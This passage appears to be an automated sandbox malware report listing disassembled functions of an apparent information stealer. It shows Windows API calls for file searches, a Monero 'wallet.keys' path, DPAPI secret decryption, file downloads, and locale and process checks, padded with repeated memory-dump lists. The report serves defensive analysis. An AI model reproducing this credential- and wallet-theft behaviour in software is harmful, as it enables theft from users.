Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 2590833b9d088b7e0b2697aa2db749a1ce56d76753660ab73c80e74e629eeae6
Instruction ID: 789a03857e32b8096a567d33c80a5cdb42d53a18dd62164fddda5b15fd6e62cf
Opcode Fuzzy Hash: 2590833b9d088b7e0b2697aa2db749a1ce56d76753660ab73c80e74e629eeae6
Instruction Fuzzy Hash: C9123DB191111C9BCB55FBA0CC96AFE737AAF14340F4081ADB21A66091EF706F89CF95

Function 006EDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007014B0,00700C2A), ref: 006EDAEB
StrCmpCA.SHLWAPI(?,007014B4), ref: 006EDB33
StrCmpCA.SHLWAPI(?,007014B8), ref: 006EDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 006EDDCC
FindClose.KERNEL32(000000FF), ref: 006EDDDE

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 09ee63e385779f253d5046fd6fa507ad61e70e60ce934e40cb56b65ba77a1f23
Instruction ID: 59140f74bae3f4432973579a578aab5907650ca067e9c247559251a0b8391a44
Opcode Fuzzy Hash: 09ee63e385779f253d5046fd6fa507ad61e70e60ce934e40cb56b65ba77a1f23
Instruction Fuzzy Hash: 099177B291020897CB54FBB0DC56DFD737EAF84340F40865CFA1A96191EE74AB09CB96

Function 006E60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006E4839
Part of subcall function 006E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006E4849

InternetOpenA.WININET(00700DF7,00000001,00000000,00000000,00000000), ref: 006E610F
StrCmpCA.SHLWAPI(?,0165E510), ref: 006E6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 006E618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006E61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 006E61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006E620A
CloseHandle.KERNEL32(?,?,00000400), ref: 006E6249
InternetCloseHandle.WININET(?), ref: 006E6253
InternetCloseHandle.WININET(00000000), ref: 006E6260

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 73e478ebd788760f21eae3853262b5dca95e4cc925d2f1047c106d73d886dda2
Instruction ID: 85bf51eac2ca7903bfa31e85b3fd0e0122089ee932c3f5962c7a0c4421a83222
Opcode Fuzzy Hash: 73e478ebd788760f21eae3853262b5dca95e4cc925d2f1047c106d73d886dda2
Instruction Fuzzy Hash: 7C5170B1911308AFDB20DF91DC49BEE77BAEB04741F108098B705A72C0DB746A86DF99

Function 006F7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

GetKeyboardLayoutList.USER32(00000000,00000000,007005AF), ref: 006F7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 006F7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 006F7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 006F7C62
LocalFree.KERNEL32(00000000), ref: 006F7D22

Strings

/ , xrefs: 006F7C7F

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 147264d1ec7d6083908d0a3849721852297001dfa5ebc482b1a289047f007ffb
Instruction ID: b82b606f37b42a0090256316cbf602ddd08ac86a757ac61ca1340a499db87bcc
Opcode Fuzzy Hash: 147264d1ec7d6083908d0a3849721852297001dfa5ebc482b1a289047f007ffb
Instruction Fuzzy Hash: 4F415DB191111CABCB64DB94DC89BFDB379FF44700F204199E20962190DB742F86CFA5

Function 006EE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00700D73), ref: 006EE4A2
StrCmpCA.SHLWAPI(?,007014F8), ref: 006EE4F2
StrCmpCA.SHLWAPI(?,007014FC), ref: 006EE508
FindNextFileA.KERNEL32(000000FF,?), ref: 006EEBDF

Strings

\*.*, xrefs: 006EE44D

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 00acef34dbc47bcd66255d15d24b5e566e970031c9a75556bc1af3932cb3903c
Instruction ID: 03a78237f2de8c5d74a02dd3a1c5b9cbdc86af52dfa36e6eb29e50a381a67c34
Opcode Fuzzy Hash: 00acef34dbc47bcd66255d15d24b5e566e970031c9a75556bc1af3932cb3903c
Instruction Fuzzy Hash: F6127CB291110C9ADB54FBA0DC96EFD737AAF54300F4041ACB60E96091EF706F49CBA6

Function 006F9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 006F961E
Process32First.KERNEL32(00700ACA,00000128), ref: 006F9632
Process32Next.KERNEL32(00700ACA,00000128), ref: 006F9647
StrCmpCA.SHLWAPI(?,00000000), ref: 006F965C
CloseHandle.KERNEL32(00700ACA), ref: 006F967A

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 64f65568d19f615d961b09ed15af3ef1b58058ae78773a5e99ba61b483a5c8ae
Instruction ID: ae6fe8a933af9efe7d126e1bbca877040b111d181e88cfa3a7e679197e7d9ab0
Opcode Fuzzy Hash: 64f65568d19f615d961b09ed15af3ef1b58058ae78773a5e99ba61b483a5c8ae
Instruction Fuzzy Hash: F1010C75A14208EBDB24DFA5CD48BEDB7F9EB48300F104198AA05D6250DB349B45DF61

Function 006F7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0165D940,00000000,?,00700E10,00000000,?,00000000,00000000), ref: 006F7A63
RtlAllocateHeap.NTDLL(00000000), ref: 006F7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0165D940,00000000,?,00700E10,00000000,?,00000000,00000000,?), ref: 006F7A7D
wsprintfA.USER32 ref: 006F7AB7

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 40d88e5002bdd91c3def2406cf85ff360aae736e4e603bb825f4d0f3978da794
Instruction ID: cac6403944df509c87800e6e11d80a7e4f115134ccc638ef9d5a2432a4c0e960
Opcode Fuzzy Hash: 40d88e5002bdd91c3def2406cf85ff360aae736e4e603bb825f4d0f3978da794
Instruction Fuzzy Hash: 8A118EB1A49218EBEB208F54DC49FA9B7B8FB04721F10439AEA0A932C0D7741A41CF91

Function 006E9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006E9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 006E9BA3
LocalFree.KERNEL32(?), ref: 006E9BD3

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

